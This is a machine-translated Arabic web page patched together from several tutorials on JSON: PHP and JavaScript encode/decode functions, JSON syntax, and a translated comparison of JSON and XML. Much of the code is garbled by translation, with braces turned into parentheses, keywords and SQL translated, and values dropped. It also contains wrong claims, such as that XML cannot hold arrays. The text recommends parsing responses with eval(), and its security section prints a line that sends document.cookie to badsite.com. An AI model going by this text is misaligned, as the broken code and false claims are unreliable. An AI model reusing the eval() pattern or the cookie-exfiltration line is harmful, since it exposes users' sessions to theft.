    $json_str = "( "a":1, "b":2, "c":3 )"; $obj = json_decode($json_str); // الحصول على الكائن echo $obj->a; // سيُخرج 1 $arr = json_decode($json_str, true); // الحصول على مصفوفة ترابطية echo $arr["a"]; // سيتم طباعة 1

    وبهذا تنتهي مراجعتي لوظائف PHP.

    وظائف JavaScript للعمل مع تنسيق JSON

    لنبدأ بحقيقة أن تنسيق JSON تم اختراعه في الأصل للغة JavaScript ثم أصبح مجرد تنسيق نص منفصل يستخدم في لغات مختلفة. على ما يبدو، هذا هو السبب في أن بناء جملة JSON يشبه إلى حد كبير بناء جملة كتابة الكائنات والمصفوفات العادية.

    // مثال لمصفوفة في JavaScript arr = ; تنبيه(arr); // سيتم عرض 1 // مثال لكائن في JavaScript obj = ( "name": "Vasya"، "age": 35، "isAdmin": false ) تنبيه(obj.name); // سيتم طباعة "فاسيا"

    وظائف JavaScript المستخدمة للتحويل من وإلى تنسيق JSON:

    • JSON.parse - فك تشفير سلسلة JSON (تحويل سلسلة إلى كائنات و/أو صفائف)
    • JSON.stringify - يُرجع تمثيل JSON للبيانات (تحويل الكائنات و/أو المصفوفات إلى سلسلة json)

    مثال بسيط لفك تشفير سلسلة json إلى مصفوفة تحتوي على أرقام:

    Str = ""; arr = JSON.parse(str); تنبيه(arr); // سيتم طباعة 1

    مثال لتحويل (تسلسل) كائن إلى سلسلة JSON:

    Obj = ( "name": "Vasya"، "age": 35، "isAdmin": false ) تنبيه(JSON.stringify(obj)); // سيتم عرض ("name": "Vasya"، "age": 35، "isAdmin": false)

    عند إجراء تسلسل (تحويل) كائن إلى سلسلة JSON، يتم استدعاء طريقة toJSON لهذا الكائن، إذا كانت موجودة. إذا لم يكن هناك أسلوب، فسيتم سرد كافة خصائص الكائن. مثال لتحويل كائن باستخدام طريقة toJSON:

    Obj = ( "name": "Vasya"، "age": 35، "isAdmin": false، toJSON: function() ( return this.age; ) ) تنبيه(JSON.stringify(obj)); // سيتم طباعة 35

    أمثلة على التطبيق العملي لتنسيق JSON

    في الواقع، أنا شخصيًا أستخدم تنسيق JSON في حالتين رئيسيتين:

    1. نقل البيانات بين المتصفح والخادم باستخدام طلبات Ajax.

    على سبيل المثال، لدينا بعض الصفحات التي نحتاج إلى تحديث البيانات فيها دون إعادة تحميل الصفحة. لنفترض أنك بحاجة إلى "تنزيل" معلومات تتضمن قائمة الموظفين وبياناتهم من الخادم.

    في JavaScript، وباستخدام jQuery، نبسط الأمر ونعرض البيانات على شكل جدول في المتصفح:

    $.getJSON("get-info.php").success(function(data) ( // طلب ajax، سيتم كتابة البيانات من الخادم إلى متغير البيانات htmlstr = "

    "; for (var i=0; i "Ivanov Sergey", "birthday" => "03/09/1975"); $user_info = array ("fio" => "Alexey Petrov", "birthday" => " 18/09.1983"); echo json_encode($user_info); خروج;

    في هذا المثال، كانت سلسلة JSON التي تم تمريرها من الخادم إلى المتصفح كما يلي:

    [("fio": "سيرجي إيفانوف"، "عيد الميلاد": "09/03/1975")،("fio": "أليكسي بيتروف"، "عيد الميلاد": "18/09/1983")]

    لقد تعمدت عدم إظهار الخط على شكل "شجرة" لأن يتم نقله بالضبط في هذا النموذج. وكما تعلم، فقد تبين أن تسجيل البيانات بتنسيق JSON مضغوط للغاية، مما يعني أن نقل هذه البيانات من الخادم إلى المتصفح سيكون فوريًا تقريبًا.

    2. كتابة هياكل البيانات المعقدة لقاعدة البيانات.

    في بعض الأحيان توجد مواقف لا يُنصح فيها بإنشاء جدول آخر في قاعدة البيانات لتخزين البيانات المختلفة. لنفترض أن المستخدم المسجل في الموقع لديه الفرصة لتخصيص لون الخلفية ولون النص.

    بدلاً من إنشاء جدول آخر لإعدادين، يمكنك ببساطة إنشاء عمود نصي في الجدول يحتوي على قائمة المستخدمين التي تريد وضع بيانات إعدادات المستخدم فيها. ومن ثم يمكن أن يكون طلب تحديث الإعدادات، على سبيل المثال، على النحو التالي:

    تحديث إعدادات المستخدمين = "("background-color": "#FFFFFF"، "text-color": "#000000")" حيث user_id = 10

    في المستقبل، بعد تلقي معلومات من جدول المستخدمين، يمكن لبرنامج PHP النصي تحويلها بسهولة مرة أخرى إلى مصفوفة مع الإعدادات. على سبيل المثال، إذا كان المتغير $user_info يحتوي على بيانات تم الحصول عليها لمستخدم من جدول المستخدمين، فإن الحصول على مصفوفة مع الإعدادات أمر بسيط للغاية:

    $settings = json_decode($user_info["settings"], true); صدى "لون الخلفية = ".$settings["background-color"]; صدى "لون النص = ".$settings["text-color"];

    في تنسيق JSON، يمكنك أيضًا، على سبيل المثال، تسجيل خيارات المنتج التي حددها المشتري في قاعدة البيانات.

    ("15":["45"، "47"]، "18": "52") // الخيار 15 له القيمتان 45 و 47 محددتان، والخيار 18 له القيمة 52 محددة

    من حيث المبدأ، يمكنك أيضًا كتابة محتويات سلة التسوق بالكامل بتنسيق JSON، على سبيل المثال، على النحو التالي:

    ( "user_id" : 10، "session_id" : "2c2l3h4ii271aojentejtdcmh3"، "products": [ ( "product_id" : 15، "options" : ( "15" : ، "18" : 52)، "quantity" : 1، "السعر" : 1500 ), ( "معرف_المنتج" : 16, "الخيارات" : ( "15" : , "18" : 51 ), "الكمية" : 2, "السعر" : 1000 ) ] )

    في شكلها المعتاد غير الشجري، ستكون سلسلة JSON هذه كما يلي:

    ("user_id":10، "session_id": "2c2l3h4ii271aojentejtdcmh3"، "المنتجات":[("product_id":15، "options":("15":،"18":52)،،"quantity":1 , "price":1500),("product_id":16,options":("15":,18":51),,"quantity":2,price":1000)])

    وبالتالي، كما يتبين من الأمثلة، يمكن تخزين أي معلومات تقريبًا ونقلها بتنسيق JSON.

    JSON (JavaScript Object Notation) هو تنسيق لنقل البيانات. كما يوحي الاسم، يعتمد التنسيق على لغة برمجة جافا سكريبت، ولكنه متوفر أيضًا بلغات أخرى (Python، Ruby، PHP، Java).

    يستخدم JSON الامتداد .json. عند استخدامها في تنسيقات ملفات أخرى (مثل .html)، يتم نقل سلسلة JSON أو تعيينها لمتغير. يتم نقل هذا التنسيق بسهولة بين خادم الويب والعميل أو المتصفح.

    خفيف الوزن وسهل الفهم، JSON هو بديل رائع لـ XML.

    سيقدم لك هذا البرنامج التعليمي الفوائد والكائنات والبنية العامة وبناء جملة JSON.

    بناء جملة JSON وبنيتها

    كائن JSON يكون في شكل قيمة مفتاح وعادة ما يكون مكتوبًا بين قوسين متعرجين. عند العمل مع JSON، يتم تخزين كافة الكائنات في ملف .json، ولكن يمكن أيضًا أن توجد ككائنات منفصلة في سياق البرنامج.

    يبدو كائن JSON كما يلي:

    "الاسم_الأول" : "جون"،
    "الاسم الأخير" : "سميث"،
    "الموقع" : "لندن"،
    "أون لاين": صحيح،
    "متابعين" : 987

    هذا مثال بسيط جدا. يمكن أن يحتوي كائن JSON على عدة أسطر.

    كما ترون، يتكون الكائن من أزواج قيمة مفتاحية محاطة بأقواس متعرجة. تتم كتابة معظم البيانات في JSON ككائنات.

    يتم وضع نقطتين بين المفتاح والقيمة. بعد كل زوج تحتاج إلى وضع فاصلة. النتيجه هي:

    "المفتاح": "القيمة"، "المفتاح": "القيمة"، "المفتاح": "القيمة"

    مفتاح JSON موجود على اليسار. يجب وضع المفتاح بين علامتي اقتباس مزدوجتين. يمكن استخدام أي سلسلة صالحة كمفتاح. داخل كائن واحد، يجب أن تكون كافة المفاتيح فريدة من نوعها. قد يحتوي المفتاح على مسافة ("الاسم الأول")، ولكن قد تواجه البرمجة مشاكل في الوصول إلى مثل هذا المفتاح. لذلك، بدلاً من المسافة، من الأفضل استخدام الشرطة السفلية ("الاسم_الأول").

    توجد قيم JSON على الجانب الأيمن من العمود. يمكن استخدام أي نوع بيانات بسيط كقيمة:

    • سلاسل
    • أعداد
    • أشياء
    • المصفوفات
    • البيانات المنطقية (صحيحة أو خاطئة)

    يمكن أيضًا تمثيل القيم بأنواع بيانات معقدة (على سبيل المثال، الكائنات أو صفائف JSON).

    يدعم JSON بناء الجملة الفردي لكل نوع من أنواع البيانات المذكورة أعلاه: إذا كانت القيمة ممثلة بسلسلة، فسيتم اقتباسها، ولكن إذا كانت رقمًا، فلن يتم ذلك.

    عادة، تتم كتابة البيانات الموجودة في ملفات .json في عمود، ولكن يمكن أيضًا كتابة JSON في صف واحد:

    ( "first_name" : "John"، "last_name" : "Smith"، "online" : صحيح،)

    هذه هي الطريقة التي تتم بها كتابة بيانات JSON عادةً إلى أنواع الملفات الأخرى.

    من خلال كتابة بيانات JSON في عمود، يمكنك تحسين إمكانية قراءة الملف (خاصة إذا كان هناك الكثير من البيانات في الملف). يتجاهل JSON المسافات بين الأعمدة، بحيث يمكنك استخدامها لتقسيم بياناتك إلى عدد يمكن التحكم فيه من الأعمدة.

    "الاسم_الأول" : "جون"،
    "الاسم الأخير" : "سميث"،
    «أون لاين»: صحيح

    لاحظ أن كائنات JSON تشبه إلى حد كبير كائنات JavaScript، ولكنها ليست بنفس التنسيق. على سبيل المثال، يمكنك استخدام الوظائف في JavaScript، ولكن ليس في JSON.

    الميزة الرئيسية لـ JSON هي أن البيانات بهذا التنسيق مدعومة بالعديد من لغات البرمجة الشائعة، لذلك يمكن نقلها بسرعة.

    أنت الآن على دراية ببناء جملة JSON الأساسي. لكن يمكن أن تحتوي ملفات JSON على هياكل هرمية معقدة تتضمن صفائف وكائنات متداخلة.

    الأنواع المعقدة في JSON

    يمكن لـ JSON تخزين الكائنات والمصفوفات المتداخلة، والتي سيتم تمريرها كقيمة المفتاح المخصص لها.

    الكائنات المتداخلة

    ستجد أدناه مثالاً - ملف users.json الذي يحتوي على بيانات المستخدم. لكل مستخدم

    ("john"، "jesse"، "drew"، "jamie") يتم تمرير كائن متداخل كقيمة، والتي بدورها تتكون أيضًا من مفاتيح وقيم.

    ملاحظة: يتم تمييز كائن JSON المتداخل الأول باللون الأحمر.

    "جون" :(
    "اسم المستخدم": "جون"،
    "الموقع" : "لندن"،
    "أون لاين": صحيح،
    "متابعين" : 987

    "جيسي" :(
    "اسم المستخدم": "جيسي"،
    "الموقع": "واشنطن"،
    "على الإنترنت": كاذب،
    "المتابعين": 432

    "رسم" :(
    "اسم المستخدم" : "درو"،
    "الموقع": "باريس"،
    "على الإنترنت": كاذب،
    "المتابعين": 321

    "جيمي" :(
    "اسم المستخدم" : "جيمي"،
    "الموقع" : "برلين"،
    "أون لاين": صحيح،
    "المتابعين" : 654

    لاحظ أنه يتم استخدام الأقواس المتعرجة في كل من الكائن المتداخل والكائن الرئيسي. يتم استخدام الفواصل في الكائنات المتداخلة بنفس الطريقة المستخدمة في الكائنات العادية.

    المصفوفات المتداخلة

    يمكن دمج البيانات في JSON باستخدام صفائف JavaScript، والتي سيتم تمريرها كقيم. تستخدم JavaScript الأقواس المربعة () في بداية ونهاية المصفوفة. المصفوفة عبارة عن مجموعة مرتبة من البيانات التي يمكن أن تحتوي على أنواع مختلفة من البيانات.

    يتم استخدام المصفوفة لنقل كمية كبيرة من البيانات التي يمكن تجميعها. على سبيل المثال، دعونا نحاول تسجيل بيانات المستخدم.

    {
    "الاسم_الأول" : "جون"،
    "الاسم الأخير" : "سميث"،
    "الموقع" : "لندن"،
    "المواقع الإلكترونية" : [

    "الوصف": "العمل"،
    "عنوان URL": "https://www.johnsmithsite.com/"

    },
    {

    "الوصف" : "البرامج التعليمية"،
    "عنوان URL": "https://www.johnsmithsite.com/tutorials"

    "الوسائط_الاجتماعيه" : [

    "الوصف": "تويتر"،
    "الرابط": "https://twitter.com/johnsmith"

    "الوصف": "فيسبوك"،
    "الرابط": "https://www.facebook.com/johnsmith"

    "الوصف": "جيثب"،
    "الرابط": "https://github.com/johnsmith"

    يتم تعيين صفائف للمفاتيح "مواقع الويب" و"الوسائط الاجتماعية" كقيم، والتي يتم وضعها بين قوسين مربعين.

    باستخدام المصفوفات والكائنات المتداخلة، يمكنك إنشاء تسلسل هرمي معقد للبيانات.

    جسون أو XML؟

    تتيح لك لغة XML (لغة الترميز الموسعة) تخزين البيانات في نموذج يسهل على البشر والآلات فهمه. يتم دعم تنسيق XML بواسطة عدد كبير من لغات البرمجة.

    هناك الكثير من القواسم المشتركة بين XML وJSON. ومع ذلك، يتطلب XML نصًا أكبر بكثير، مما يعني أن هذه الملفات أكبر حجمًا وأكثر صعوبة في القراءة والكتابة. علاوة على ذلك، تتم معالجة XML فقط باستخدام مترجم XML، بينما يمكن معالجة JSON باستخدام وظيفة بسيطة. على عكس JSON، لا يمكن لـ XML تخزين المصفوفات.

    دعونا نقارن ملفين: يحتويان على نفس البيانات، ولكن الأول مكتوب بتنسيق XML، والثاني بتنسيق JSON.

    users.xml

    جون لندن

    جيسي واشنطن

    درو باريس

    جيمي برلين

    users.json
    ("المستخدمون": [

    ("اسم المستخدم" : "جون"، "الموقع" : "لندن")،
    ("اسم المستخدم" : "جيسي"، "الموقع" : "واشنطن")،
    ("اسم المستخدم" : "درو"، "الموقع" : "باريس")،
    ("اسم المستخدم" : "JamieMantisShrimp"، "الموقع" : "برلين")

    يعد JSON تنسيقًا مضغوطًا للغاية ولا يتطلب عددًا كبيرًا من العلامات مثل XML. بالإضافة إلى ذلك، XML، على عكس JSON، لا يدعم المصفوفات.

    إذا كنت معتادًا على لغة HTML، ستلاحظ أن تنسيق XML مشابه جدًا له (خاصة العلامات). JSON أبسط، ويتطلب نصًا أقل، وأسهل في الاستخدام في تطبيقات AJAX، على سبيل المثال.

    وبطبيعة الحال، يجب اختيار التنسيق حسب احتياجات التطبيق.

    أدوات JSON

    يُستخدم JSON بشكل شائع في JavaScript، لكن التنسيق يُستخدم على نطاق واسع في لغات البرمجة الأخرى.

    يمكن العثور على مزيد من المعلومات حول توافق ومعالجة JSON على موقع المشروع ومكتبة jQuery.

    من النادر كتابة JSON من الصفر. عادةً ما يتم تحميل البيانات من المصدر أو تحويلها إلى JSON. يمكنك تحويل بيانات CSV أو البيانات المحددة بعلامات جدولة إلى JSON باستخدام الأداة مفتوحة المصدر Mr. محول البيانات. لتحويل XML إلى JSON والعكس، استخدم utilities-online.info. عند العمل باستخدام الأدوات التلقائية، تأكد من التحقق من النتائج.

    يمكن فحص ملفات JSON (بما في ذلك البيانات المحولة) باستخدام خدمة JSONLint. لاختبار JSON في سياق تطوير الويب، راجع JSFiddle.

    خاتمة

    JSON هو تنسيق بيانات بسيط وخفيف الوزن. تتميز ملفات JSON بسهولة النقل والتخزين والاستخدام.

    اليوم يتم استخدام JSON غالبًا في واجهات برمجة التطبيقات.

    • ترجمة

    ملحوظة: فيما يلي ترجمة لمقالة المراجعة "JSON vs XML"، المخصصة لـ JSON ومقارنتها مع XML وفقًا لعدد من المعايير. تم نشره من أجل تعميم JSON بين قراء هبراهبر.

    JSON (JavaScript Object Notation) هو تنسيق لتبادل البيانات يسهل على الأشخاص قراءته ومعالجته وإنشاءه بواسطة البرامج.

    استنادًا إلى مجموعة فرعية من لغة JavaScript، الإصدار الثالث القياسي ECMA-262 - ديسمبر 1999.


    جيسون - ويكيبيديا

    ما هو تنسيق الاستجابة الصحيح لـ XMLHttpRequest في تطبيقات AJAX؟ بالنسبة لمعظم التطبيقات القائمة على العلامات، الإجابة بسيطة - (X)HTML. بالنسبة للتطبيقات التي تركز على المعلومات، سيكون الاختيار بين XML وJSON. حتى وقت قريب، لم أكن أتساءل حقًا ما هو الأفضل للاستخدام، XML أو JSON. لقد افترضت ببساطة أنه في كل حالة محددة كان الأمر يستحق اختيار التنسيق الأكثر ملاءمة، هذا كل شيء. لكن أتيحت لي الفرصة مؤخرًا لاختبار هذا النهج عمليًا. في هذا المنشور، سأصف المعايير التي قمت من خلالها بالمقارنة بين XML وJSON، بالإضافة إلى استنتاجاتي الخاصة.

    لذلك، المعايير هي كما يلي.

    • إمكانية قراءة الكود.
    • سهولة إنشاء كائن بيانات من جانب الخادم.
    • سهولة معالجة البيانات من جانب العميل.
    • من السهل التوسع.
    • تصحيح الأخطاء وتصحيح الأخطاء.
    • أمان.
    إمكانية قراءة الكود

    شخص الشخص = شخص جديد ()؛ person.setFirstName("Subbu"); person.setLastName("Allamaraju"); الكاتب.write(JSONObject.fromObject(person).toString());

    عند النظر في عمل واجهات البرمجة هذه، فإن إنشاء JSON لا يختلف كثيرًا عن تسلسل وحدات Java إلى كائنات. ومع ذلك، تجدر الإشارة إلى أن هناك الآن طرقًا عديدة لإنشاء XML أكثر من JSON. بعض واجهات برمجة تطبيقات XML هذه موجودة منذ سنوات عديدة ولهذا السبب قد تكون أكثر استقرارًا عند استخدامها للتطبيقات المعقدة.

    هناك جانب آخر يجب مراعاته وهو مقدار الموارد المستخدمة لتوليد الاستجابة. إذا تم بالفعل تنفيذ العمليات "الثقيلة" عند تلقي البيانات، فلن يكون من الصعب على جزء الخادم تحويلها بالإضافة إلى ذلك إلى XML للاستجابة. إذا كان إنشاء XML هو العملية الأكثر استهلاكًا للموارد، فمن الأفضل استخدام JSON.

    سهولة الاستعمال

    من جانب العميل، تعد معالجة بيانات JSON كاستجابة لطلب XMLHttpRequest أمرًا بسيطًا للغاية.

    var person = eval(xhr.responseText); تنبيه (شخص. الاسم الأول)؛

    باستخدام eval() العادي يمكنك تحويل الاستجابة إلى كائن JavaScript. بمجرد اكتمال هذه العملية، يمكن الوصول إلى البيانات باستخدام خصائص الكائن المحول. هذا هو الجزء الأكثر أناقة في جميع JSON.

    الآن دعونا نلقي نظرة على XML. لجعل مقتطف الشفرة أدناه أكثر شفافية، قمت بإزالة جميع عمليات التحقق من الأخطاء.

    "الاسم الأول")؛

    من الواضح أنه عند معالجة البيانات الواردة من الخادم، من الضروري النظر في شجرة DOM بأكملها. هذه عملية كثيفة العمالة وعرضة للأخطاء. لسوء الحظ، في المتصفح علينا أن نتعامل مع DOM. لا تدعم المتصفحات لغة استعلام مثل XPath لاسترداد عقد الشجرة في مستند XML. ينطبق دعم هذه الوظائف بالفعل على XSLT، ولكنه محدود جدًا ( ملاحظة: في المتصفح) من حيث تحويل XML إلى علامة (على سبيل المثال، HTML). مجموعة العمل المعنية بواجهات الويب ( مجموعة عمل واجهة برمجة تطبيقات الويب) من W3C يعمل على واجهة محدد ( واجهة برمجة تطبيقات المحددات)، والتي يمكن استخدامها لتطبيق محددات CSS عند تحديد العقد من كائن المستند. باستخدام مثل هذه الواجهة، سيكون من الممكن تحويل كود المثال أعلاه إلى xml.match("person.firstName") للحصول على عنصر الاسم الأول. لا يعد هذا إنجازًا كبيرًا لمستند XML في هذا المثال، ولكنه قد يكون مفيدًا للعمل مع مستندات متفرعة للغاية. هذه الواجهة لم تكتمل بعد، وستمر سنوات قبل أن تدعمها المتصفحات.

    بشكل عام، إذا كان علي الاختيار بين XML وJSON، سأفضل JSON نظرًا لسهولة تنفيذ المعالجة من جانب العميل.

    القابلية للتوسعة

    تساعد القابلية للتوسعة على تقليل عدد الاتصالات بين موفر البيانات والمستلم. في سياق تطبيقات AJAX، يجب أن يكون البرنامج النصي من جانب العميل ثابتًا بدرجة كافية فيما يتعلق بالتغييرات المتوافقة في البيانات.

    الاعتقاد العام هو أن لغة XML قابلة للتوسعة تلقائيًا بفضل وجود الحرف "X". لكن هذه ليست قاعدة غير مشروطة (أي التصرف بشكل افتراضي). تعتمد قابلية توسيع XML على مبدأ أنه يمكنك تحديد عقد إضافية في XML الخاص بك ثم تطبيق قاعدة "تخطي ما هو غير مطلوب" (على سبيل المثال، إذا واجهت عنصرًا أو سمة غير مألوفة أثناء معالجة XML، فما عليك سوى تخطيها).

    للاستفادة الكاملة من القابلية للتوسعة، تحتاج إلى كتابة تعليمات برمجية من جانب العميل مع وضع القابلية للتوسعة في الاعتبار. على سبيل المثال، سيتم تفصيل المثال التالي إذا كنت تريد إدراج عنصر الاسم الأوسط، على سبيل المثال.

    var xml = xhr.responseXML; عناصر var = xml.getElementsByTagName("firstName"); var firstNameEl = element[0]; var lastNameEl = firstNameEl.nextSibling;

    إذا قمت بإدراج عنصر مباشرة بعد العنصر، فسيؤدي هذا المثال إلى إساءة تفسير الاسم الأوسط كاسم أخير. لكي تكون ثابتة لهذا التغيير، يجب إعادة كتابة التعليمات البرمجية للحصول على العنصر بشكل صريح، أو الوصول إلى nextSibling فقط في حالة العثور على طفل يحمل العلامة المطلوبة. وبالتالي، فإن XML قابل للتوسيع طالما أنك تكتب التعليمات البرمجية مع وضع قابلية التوسعة المستقبلية في الاعتبار. كل شيء بسيط للغاية.

    دعنا نعود إلى JSON. أعتقد أن توسيع بيانات JSON أسهل من XML. وهذا يتطلب بلا شك جهدا أقل. لنفكر في إضافة خاصية الاسم الأوسط إلى استجابة JSON. للوصول إليه، ما عليك سوى الاتصال به.

    تنبيه(person.middleName);

    لن يتغير هذا الرمز إذا قمت بإضافة اسم وسط إلى إجابتك. ولكن ماذا تفعل في حالة معالجة شخص بالاسم الأوسط أو بدونه؟ مع JSON الأمر سهل.

    إذا (person.middleName) (/ المعالجة)

    موقفي هو أنه إذا تم وضع إمكانية التوسعة المستقبلية في الاعتبار، فيمكن توسيع كل من بيانات XML وJSON. لكن توسيع البيانات باستخدام JSON أسهل من استخدام XML. تحتاج ببساطة إلى التحقق من وجود الخاصية المطلوبة على الكائن والتصرف وفقًا لنتيجة الفحص.

    هناك خيار آخر لتوسيع بيانات JSON وهو استخدام استدعاءات الوظائف مع إعلانات البيانات مباشرة في الاستجابة.

    Alert("مرحبًا - أنا شخص"); (("الاسم الأول" : "Subbu"، "الاسم الأخير" : "Allamaraju"));

    عندما يتم الإعلان عن البيانات عبر eval()، سيستدعي المتصفح أيضًا تعبير التنبيه(). في هذه الحالة، يمكنك تحميل البيانات وتنفيذ الوظائف. يجب استخدام هذا الأسلوب بحذر شديد، لأنه يؤدي إلى تشويش الاستجابة باستدعاءات الوظائف وإنشاء اتصال بين الاستدعاءات والبيانات. تناقش بعض المصادر أيضًا الثغرات الأمنية المحتملة لهذا الأسلوب، والتي سيتم مناقشتها بمزيد من التفاصيل أدناه.

    تصحيح الأخطاء وتصحيح الأخطاء

    ينطبق هذا الجانب على كل من جانب الخادم لتطبيقك وجانب العميل. على الخادم، تحتاج إلى التأكد من تكوين البيانات بشكل صحيح وصحيح. من جانب العميل، يجب أن يكون من السهل تصحيح الأخطاء في الاستجابة.

    باستخدام XML، من السهل نسبيًا التحقق من أن البيانات المرسلة إلى العميل جيدة الصياغة وصحيحة. يمكنك استخدام المخطط لبياناتك وتطبيقه للتحقق من صحة البيانات. باستخدام JSON، تصبح هذه المهمة يدوية وتتطلب التحقق من أن الكائن الناتج يتمتع بالسمات الصحيحة.

    من ناحية العميل، في كلتا الحالتين، من الصعب اكتشاف الأخطاء. بالنسبة إلى XML، لن يتمكن المتصفح ببساطة من تحويله إلى ResponseXML. بالنسبة للكميات الصغيرة من بيانات JSON، يمكنك استخدام ملحق FireBug لتصحيح الأخطاء وتصحيح الأخطاء. ولكن مع وجود كميات كبيرة من البيانات، يصبح من الصعب إلى حد ما ربط رسالة الخطأ بموقع محدد في الكود.

    أمان

    يقترح ديف جونسون، في مقالته JSON and the Golden Fleece، أن JSON يمكن أن يسبب مشاكل أمنية. جوهر الملاحظة هو أنه إذا سمحت بإدراج استدعاءات الوظائف مع البيانات في استجابات JSON واستخدمت eval() لمعالجة الاستجابة، فأنت تقوم بتنفيذ تعليمات برمجية عشوائية، والتي في الواقع قد تحتوي بالفعل على مخاطر أمنية.

    Window.location = "http://badsite.com؟" + document.cookie; الشخص: ( "الاسم الأول" : "Subbu"، "الاسم الأخير" : "Allamaraju")

    إذا تم تنفيذ الاستجابة في المثال أعلاه، فسيؤدي ذلك إلى قيام المتصفح بإرسال ملفات تعريف الارتباط الخاصة بالمستخدم إلى موقع الطرف الثالث. لكن في هذه الحالة، هناك بعض الالتباس في تعريف التهديد الأمني. يجب ألا تثق في البيانات أو التعليمات البرمجية التي تم الحصول عليها من مصدر لم يتم التحقق منه. وثانيًا، لن نتمكن من استخدام XMLHttpRequest للتواصل مع مجالات أخرى غير المجال المصدر للبرنامج النصي. لذلك، فقط المطورين أنفسهم، عند إنشاء تطبيق، يمكنهم البدء في إرسال ملفات تعريف الارتباط إلى موقع طرف ثالث. وهذا أمر مشكوك فيه تمامًا، لأنه يمكنهم بسهولة وضع هذه التعليمات البرمجية الضارة في أي مكان في المستند خارج استجابة البيانات المرسلة من الخادم. ربما أفتقد شيئًا ما، لكنني لا أرى أي فائدة من اعتبار JSON غير آمن مقارنةً بـ XML.

    اختياري

    بالنسبة للتطبيقات التي تركز على المعلومات، أفضل استخدام JSON بدلاً من XML نظرًا لبساطته وسهولة معالجة البيانات من جانب العميل. قد يكون XML أمرًا لا غنى عنه على الخادم، ولكن من المؤكد أن التعامل مع JSON أسهل على العميل.



     

    قد يكون من المفيد أن تقرأ: